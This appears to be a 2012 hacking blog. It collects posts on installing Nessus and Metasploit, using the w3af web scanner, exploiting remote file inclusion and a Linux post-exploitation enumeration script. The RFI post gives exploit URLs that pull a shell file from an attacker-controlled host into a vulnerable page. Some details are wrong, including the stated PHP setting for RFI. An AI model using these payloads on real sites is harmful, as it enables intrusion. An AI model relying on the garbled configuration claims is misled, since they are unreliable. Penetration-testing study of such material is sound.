Tuesday, July 3, 2012

HOW TO INSTALL NESSUS 5 on LINUX


OK, so recently I showed in you how you can effectively setup Metasploit and today we will add one more item to arsenal to help make Metasploit even more useful and deadly. I will show you how to install Nessus on your Linux box, although directions should not be too different for Windows, and when we are done you will be able to install and configure your server as well as customizing your own vulnerabilty scans and be well on your way to incorporating things fully into Metasploit for ultimate pwnage. Before we begin you need to download the Nessus Scanner, version 5 just recently released is the latest and greatest. You then need to register for a HOME FEED which will get you a product code sent to your email chosen for activation later (link is near top of download page in yellow bar).


OK, move this to your desired location to work with and we will get started by de-packaging the download file. We do this using the “dpkg” command with the “-i” argument to tell it to install the file content as needed.

COMMAND: sudo dpkg -i Nessus-5.0.0-filename.deb

The system will do the required installation tasks for the most part, simple answer accordingly if any prompts come up. Once completed Nessus server will be started and we can navigate to the login page in our Browser of choice, you can find it at either http://localhost:8834 OR http://bt:8834. You will probably need to accept a security warning since the certificate is self signed...

 
Once accepted you get the welcome page as first sign we are one our way

 
Now go through the necessary steps to create a new user account for Nessus, and take note or write it down – whatever you do to remember your logins.

 
Download plugins, wait for it to finish its initializing (it finishes configruation and restarts server). Once its done you will need to login with your new account you just created.

 
Once logged in you will see the Nessus web panel from which all the magic happens (for the most part), should look like this:

 
In o rder to get started we need to go to the Policies tab. You will see the default Policies which are already setup and ready to go. You can view them for reference and use as you like, but eventually you will want to customize your own scan settings. In order to do this we need to hit the +ADD button in upper right.

 
Now we can configure our own scan with all the settings we want as we like. The first tab is the General settings which affect how the tool funcitons. You can define how to handle congestion, what ports to scan, what type of scan method to use, etc. Also, we give our Policy a name so we can identify it later for use.

 
Next we add any credentials we might have on the Credentials tab. This step is optional but is suggested if you have them as it will allow the scans to run much deeper and with greater access. The results between a blank scan and a credentialed scan can often times be alarming. 

 
The next tab allow syou to define which modules you actually want to use during the scan. Typically you will simply use them all but in delicate situations this is where you can go to fine tune things as needed. 

 
The last tab we have is the preferences tab. This tab covers a lot of items like adding additional credentials, fine tuning scan settings, and other misc things like this (check it out to see what all is available to you). The more you put in the more you will get back as it allows for more in depth scans to be performed.

 
When you're done simply hit the SUBMIT button in the lower right hand corner of the last tab (Preferences). Now we have a scan policy we can use anytime going forward, but how do we use it? In order to use it we need to now go to the SCAN tab to setup our actual scan to run. You will need to give your scan a name which will be used for the reports as well, also identify the IP address to scan. The IP can be provided as a single IP, and range or in CIDR format. You can also choose to use a file with one IP per line which will be used to scan through – very helpful in large environments. The policy type from the drop down will be what defines how the scan is performed, and is what we setup a minute ago :) When you have it setup how you like simply hit the LAUNCH SCAN button in lower right to start the scan process.

 
You can go to the REPORT tab now to view your running scans as well as all the completed ones. You can click on the BROWSE button up right or double-click to open any report up to view the results of the scan. 

 
The reports in the new v5 are really impressive visually and make for very good reports to hand over to others if needed following a job (use HTML output option). 

 
The whole framework is very user friendly, you can double-click anywhere on the report to drill down for more information. 

 
You can drill all the way down and see the identified vulnerability, the CVE reference number, as well as a general description of the vulnerability in most cases and possible remediation paths to follow. In some cases you may even be lucky enough to get a link to additional reference material. Now when we are done we probably want to export a copy of the scans for safe keeping, reference, and to use with other tools (especially Metasploit). Nessus supports several file formats for the output file. 

 
The HTML report provides you with everything needed to present the findings to both technical and non-technical parties. It has pretty graphics which get lots of “oos and ahs”. The .NBE and .NESSUS formats are probably the most useful as they can both be imported into Metasploit's database for further use, mainly CVE references to match to known exploits. Play around with them and find what suits you best, I tend to export my results in multiple formats so I have options depending on the need.

All in all I rate this new release an A++ in my book. This concludes our basic instroduction to the Nessus vulnerability scanner. You should now be able to set it up properly on your system and customize your own scans to run on targets. I will have a follow up series coming shortly on how we can import into Metasploit for taking things to the next level as well as how to run scans directly from Metasploit once our policies have been defined. 

QUICK FINAL NOTE: The Nessus Server will start up on system startup. If you wish to start, stop, or re-start the Nessus server at anytime just use this command syntax and select your option accordingly.

COMMAND: sudo /et/cinit.d/nessusd start|stop|restart

 
I hope you have enjoyed this tutorial and until next time, Enjoy!



HOW TO INSTALL METASPLOIT (on Ubuntu 11.10)


Today I will provide you with a quick tutorial on how you can install Metasploit on your Linux box so you don't have to waste time with Backtrack. Once we are done you should have a working instance of Metasploit installed as a service and a working PostgreSQL database to connect giving you the full availability of all that Metasploit has to offer us. In order to begin we first need to download the latest installer package for our system from the main Metasploit site.

Download available here: http://www.metasploit.com/download/

OK, so before we run our installer we need to first give it executable rights, we do this through use of the “chmod” command. We simple issue the following command which turns this file into and executable file:

COMMAND: chmod +x metasploit-latest-installer-file.run

Once this is done we can simply execute from console to launch the installer

 
You will need to answer a few simple setup questions for the installer to do its thing, I suggest allowing it to install as a Service and leaving the default port unless you have reason to move elsewhere.

Once it is done you will need to navigate in our browser to the login page for the new Web GUI interface. You can find it at: https://localhost:3790/ unless you changed the default port during setup.

 
Once exception is made you will be redirected to the Web GUI login page where you can create a new user account to use with the GUI. 

When you click on Create Account it will ask for product code. Click on the hyperlink above it to request one. You can use http://www.guerrillamail.com/ for a temporary email for signup if you dont want to have any traces or your just plain bonkers paranoid. They will email you a temp product code which you then need to use to load to get the real product code, so you need a working email (why I like GuerrillaMail).

 
Enter temp code to get real code:

Now activate your shit:

 
Yeah, now we legit and have Web GUI installed.

 
Use the administrator panel to update SW so you have all of the latest and greatest available to use.
Once you are updated you can start cooking with the Web GUI if you like. You can create a Project to get started, just give it a name and a few details:

Once project is created you can now define all the scan options and do what you want. This community edition is fairly limited in what it is capable of doing, so mostly just the Discovery tab will be working in full.

You can use a work email to get a product code to try the PRO version for a 1 week trial period if you like. It is basically just point and click hacking though for administrators from companies with money and lack of knowledge on how to operate the underlying framework. Since I know we are all poor let us now go set things up so we can use the more traditional MSFCONSOLE which doesn't have any limitations for us once properly setup. We start by dropping back to console or terminal and navigating to our MSF installation directory “/opt/metasploit-4.x/msf3”.

COMMAND: cd /opt/metasploit-4.x/msf3/

Now we update things real quick once more to make sure our console is fully up to date in addition to the stupid worthless WebGUI. We do this using the builtin MSFUPDATE function. Simply run it from command line with sudo privileges and wait a few minutes for it to do its thing.

COMMAND: sudo msfupdate

Now we start the msfconsole using simple command “sudo msfconsole”

 Now that we are updated we can make sure our database functionality from the bundled PostgreSQL is properly working. This is probably where almost everyone fails when setting things up. The system comes pre-bundled with everything needed, but poor documentation make it hard to figure things out sometimes, mainly how to connect to the dang database. Well today I lift the mystery :)

The database credentials created upon installation are stored in a file in the /config directory within the MSF installation folder. We can use “cat” command to read the file contents to ensure we are using the proper credentials to connect.

COMMAND: sudo cat /opt/metasploit-4.1.4/config/database/yml
Now we can use those credentials to connect to the Metasploit database created at startup without any need to create new users, databases, or anything else :)

You can simply type “HELP” or “?” at the command prompt now and you will find that you now have the full database commands options in addition to the standard options. Moving forward all scans run through the Metasploit console will be stored in our PostgreSQL database for re-use afterwards. This brings us great advantages when working with tools like NMAP and vulnerability scanners like Nessus and Nexspose which can be imported directly into the database or run directly from the msfconsole.

This concludes my introduction to setting up standalone Metasploit instance with working database connections. I will follow up tutorials coming in the next week to outline how we can install Nessus and incorporate into Metasploit as well as how to the same with Nexspose. I hope you enjoyed this short tut and found some piece of it informative. 

Until next time, Enjoy!

SPECIAL NOTE: In the past you used to be able to configure standalone database servers but HD has stopped the official Support for all db_driver options other than PostgreSQL so this is your only real option these days (no more MySQL support). You can install you own separate PostgreSQL instance and use pgadmin3 to manage and give MSF the proper credentials to connect this way but when everything is already bundled there is no need to re-invent the wheel...







Monday, July 2, 2012

Introduction to Web Application and Audit Framework, a.k.a. W3AF


Today I am going ot give you a brief introduction to a really great open source web scanner known as the Web Application and Audit Framework, or W3AF for short. It is coded in python, has both a console and GUI version, and is capable of mapping out a target site, testing for vulnerabilities and even exploiting these vulnerabilities in some cases. I will focus on the console version and provide videos at the end for both versions. This way you will get a better understanding of the structure and how it works as the GUI works the same and is fairly easy to quickly pick-up on after stumbling through a few scans. In order to get started though you need to make sure your system meets the pre-requisites for the tool to work.

Pre-requisites are:
    - w3af: http://w3af.sourceforge.net/
    - python 2.6+
    - pybloomfilters
    - python-dev
    - half a brain :p

Installation is covered in the w3af user guide so I wont cover it here, works same as most of the other applications we have installed for other tutorials I have covered so far...

NOTE:
if you experience issues with installing bloomfilters or missing Python.h files during pre-requisite installs don't worry I had to fight them myself. The bloomfilter link is provided in the error message from W3af install script and easy enough to install. If you experience issues around missing Python.h during any gcc builds during the installation process you will need to use your package manager to install "python-dev" which will install the required python headers support for your system which solves the problems after you re-run install commands. Aside from these two issues installation follows the w3af documentation exactly and is fairly pain free.

Now that you have your system pre-requisites installed you can get things going by starting the console script with the request for help options from the install folder, like so:
CONSOLE Mode VIDEO Demo:
./w3af_console --help

You should be greeted by the w3af menu options and command prompt.

You can drop the "--help" and run without any arguments to get started, just choose console or gui based on your need (were focusing on console for now). Once you launch the console app you will drop into a w3af shell and the command prompt will change slightly. You are now in the framework, which works very similar to the other Rapid7 framework - Metasploit. The w3af framework is broken into functional sections and plugins handle the work within each section passing their results to the next in line. You need to configure your profile and/or plugins along with any target or misc items you want before running a scan. We walk through this process now starting from initial w3af console command prompt so you can better understand how it works.

When you are in the w3af console mode your two best friends are going to be the "help" and "view" commands. These will display the menu for each section or list of possible config options in sub-sections. There are also a few hot keys you can use to save time and make navigation in console mode a little easier.

Now in order to get started we need to configure our scan options how we like them. You simply type the name of the section you wish to jump into and w3af command prompt will change indicating you have successfully jumped sections. You can then issue a new "help" or "view" command to see what is available within the new section. We can run through them in the typical order I might approach things in. First we need to set our target configuration. If you type "target" and hit enter it will take you into the target sub-section. If you type "help" you can see a listing of all command options and if you type "view" the available options for target configuration are presented. In order to set a config setting we simple need to type "set <config-setting> <enter-value>" and hit enter. You will need to do this multiple times until all items have been configured. You can use view command again when done to verify things were properly updated. If you have multiple targets or values to set for a option you can simple enter in comma separated list manner. once you are done you can simply type "back" to move back to the previous menu section to continue configuring. 

Once your target is set you will want to make a few adjustments to some of the frameworks default settings under the "http-settings" and "misc-settings". I start with misc-settings, where you can update the path to Metasploit if you want to use any of the MSF payload options later this needs to be correct. Follow the same process as used for the target configuration: "set msf_location </path/to/msf3>" and hit enter. You may also want to reduce the "maxThread" count to 1. You dont have to but I find while making it a touch slower the lower thread counts tend to be less prone to errors. You can also enter "nonTargets" if you have sensitive systems on network you wish to leave out of the scan. You can also adjust a few fuzzing options and interface options here as well.

Next we move back and then into the http-settings menu where we make a few more minor adjustments. The most notable change I make here is to swap out the default "userAgent" string. You will find some admins have blocked this UA string completely so I like to swap it out for something from http://www.useragentstring.com/pages/useragentstring.php, often just choose the latest Chrome or Firefox user-agent string unless there is a need to mimic another browser type fur custom applications or something like this. If your target site requires authentication or you want to run as deep a scan as possible you can also enter you authentication credentials in this section as well which will be used as plugins come across secure areas. You amy find in some instances you need to be authenticated to find certain vulnerabilities, supports both ntlm and basic Authentication methods. You can also choose to enable or link to a local proxy which allows you to hand off manual inspection to certain plugins in the framework. When done go back to the main menu using the "back" or CTRL+D shortcut.

Next we can choose to use a pre-built profile for scanning or we can configure the plugins how we like and run with a scan from there. If you want to see the profile options simply type "profiles" from the main menu prompt to drop to profiles sub-section. You can type "list" to see a listing of the available profiles. The names and descriptions should allow you to differentiate which is which and whats its purpose is. If you want to use a pre-built profile simply type "use <profile-name>" and it will setup the framework to use this profile at scan time.


Alternatively we can skip profiles and move straight to the "plugins" sub-section from main menu and configure things how we like and then run the scan. Once you enter the plugins menu you want to type "help" to see what all is available. You can then type "list <plugin-name>" to see a list of the options under each plugin. I will walk through configuration of output plugin, all others will follow the same method for configuration so you should be able to figure it out (videos show more detail). so to configure output options we first type "list output" to see whats available. You may or may not have anything already configured but any settings we set will override existing so its not really a big deal. We have a few ways to configure options. You can simply type the plugin name followed by a comma separated list of options we want enabled (output console,csv_file,htmlFile,etc) and all items in the list will be enabled. You can use the "!" character as a NOT operator to disable an option from being included, which is handy if you use the shortcut "all" option to enable all plugins (ex: output all,!xmlFile,!emailReport,!export_requests would enable all but xml, email, and export options).

You may also notice that on some options there is a "conf" column with "yes" in it. This indicates there are configurable options for this plugin option. If you want to review them or alter them it works similar to what we have been doing already. you type in "<plugin> config <option>" to enter the configuration menu. Once in configuration menu it works like the others where you can use "view" and "set" to list and set config options.


Rinse wash and repeat for all plugins until you have it configured how you like. Then you just type "start" to launch your scan. The scan will run in terminal and depending on your output options it may or may not display everything its doing for you. You can interpret the results as they fly across the screen or wait until it is fully finished and analyze the reports from output files (if you enabled). You can then choose to manually exploit as you like or hand off to other tools or frameworks or in some cases you can continue on with w3af and fully exploit the vulnerabilities using some of w3af's built-in tools. W3af has exploitation techniques for handing SQL injections with a SQLMAP wrapper, has xpath injection, OS command injection shell, LFI and RFI exploitation tools, as well as tools for exploiting weak webDAV functions and misconfigured eval functions.

If your scan resulted in findings of vulnerability simple run the exploit tool with the exploit plug-in matching the finding and it will do its thing. You can see a demo I put together from scan to root using both the console and GUI versions here:

CONSOLE Mode VIDEO Demo: http://www.youtube.com/watch?v=ZQFpwTHMrxM

GUI Mode VIDEO Demo: http://www.youtube.com/watch?v=dGX1KqlEEUk








Tuesday, May 15, 2012

Remote File Include (RFI) Exploitation

Remote File Includes (a.k.a. RFI) work in the same way Local Fiel Includes (LFI) work with the main difference being instead of including local pages we will actually try to include remote pages from a different site and domain. The flaw is the same as LFI vulns but requires not only allow_url_fopen to be ON but also requires allow_url_include to be OFF.

LFI: allow_url_fopen = On
RFI: allow_url_include = Off

When these conditions are right we can perform a Remote File Inclusion with disastewrous affects on the target site, just as you have seen in past with LFI. We can include PHP code from remote site and use it to perform command execution on the target site and ultimately leverage it to perform a full system comprimise.

RFI technique can be used with straight inclusions:
  <?php
  $page = $_GET['page'];
  include($page);
  ?>

As well as with NULL byte inclusions where we need to kill a appended file extension or similar:
  <?php
  $page = $_GET['page'];
  include($page . ".php");
  ?>
Now in order to properly get our code injected or included we need to keep it stored on a site we contorl and we need to keep it in text format as opposed to standard PHP file format (i.e. shell.txt instead of shell.php). We replace the vuln link in our target site with a reference to a our remote controled site (http://controlled.com/shell.txt). I should note that we add a "?" to the end of our request link which will tell the target vuln server to interpret what follows as executable code. Our final exploit request link looks like this:

Straight Include:
http://target.com/vuln.php?page=http://controlled.com/shell.txt?

OR to kill appendage you might try NULL byte:
http://target.com/vuln.php?page=http://controlled.com/shell.txt?;
http://target.com/vuln.php?page=http://controlled.com/shell.txt?

Depending on which technique you use you should find (if vuln) that your remote code is now being included on the target page. The above code examples would now be returning the "$page" variable as so:

Straight Include: include('http://controlled.com/shell.txt');
OR
NULL Byte Include: include('http://controlled.com/shell.txt?/.php');

This results in our code now being included placing our remote code actively on the immediate page. If you can't execute code you wont be able to do much other than including Google which is still vuln but you need to include a full featured shell or place custom code on your remote controlled host to comprimise things and make permanent impact on the target server.

Here is a brief video I made to demonstrate how things should work for you if you come across this in one of your audits:


Hope you enjoyed the show....

Until next time, Enjoy!

The Inf0rm3r - Linux Enumeration Script

Hey Guys,

I am back and apologize for lack of activity last month, life has been crazy lately. As some of you may or may not know I been trying to step up my post exploitation skills as well as my general Linux skills. I recently jumped to Linux OS for my main day-to-day OS and have to say I've never been happier (other than Camtasia doesn't run on Linux). Anyway, I started looking into common tasks one should perform post shell access in order to increase ones chances of gaining root access and decided to try and write my first Linux script to try and help myself and since I <3 my supporters I decided to share with you guys as well. Now everyone can download and run a exploit and cross fingers and hope it works but what if it doesn't? What if we want to still try and root the box? There are many methods one can use to still gain root access without pre-compiled exploits. I will link you to a great reference guide for some basic methods one can use to go about searching for ways to gain root access and then I will give you my new script I wrote which will try to take some of the pain out of the process for you by quickly identifying some key areas one can start looking at to get things done and/or digg out a bit more info. The tool for now only does pure enumeration but I do have a few ideas for a private version which will continue development on into the future, who knows though. That being said I give you the following which I have available now:

A really good newbie guide to actual rooting methods with some understandable examples:
http://www.dankalia.com/tutor/01005/0100501004.htm

There are many other write ups out there if you search hard and do some reading. This is just a tool give-away, not a how to root the box thread. I will try to continue posting more post exploit techniques as time allows in the near future...

To the Point - Downloads:
Inform3r.zip, contains the following:
Inf0rm3r.sh:
  •     Actual bash script which does the enumeration magic and can be run one its own
fetch3r:
  •     side project from Inf0rme3r, C based App which remotely grabs Inf0rm3r script,  runs it, and deletes it so all that is left is the report file. Also no output in terminal so can be easier on some systems (CentOS for example which have buffer size issues due to it being set at compiling time)
SCRIPT SOURCE: https://pastee.org/b4gtz
  • PASS: I<3INTRA!
I also made a brief DEMO VIDEO to highlight it in action so you get an idea for what all it captures, have a look see:




NOTE: There is function already created to handle emailing of the report file if you're running the standalone script. You just need to uncomment the code in the script and then pass a email to the script when run as an argument. It requires /bin/mail from mailutils to be installed to work. I didn't get this properly installed and set-up locally so my testing only validated the logic, not the actual emailing itself, although I had a buddy state it was working for him so its up in the air for now (hence it being commented out for this release version, we will see what future brings).

Big Shout-out and special thanks to Phaedrus for helping me out with a few live test environments to fine tune a few things and th3breacher for some of the email code, suggestions and feedback!

...and of course, Greetz to and from everyone in INTRA!

If you have any questions, suggestions or feedback of any kind do let me know as I want to improve this over time to really be something unique and handy for the community to have.

Until next time, Enjoy the pursuit for r00t!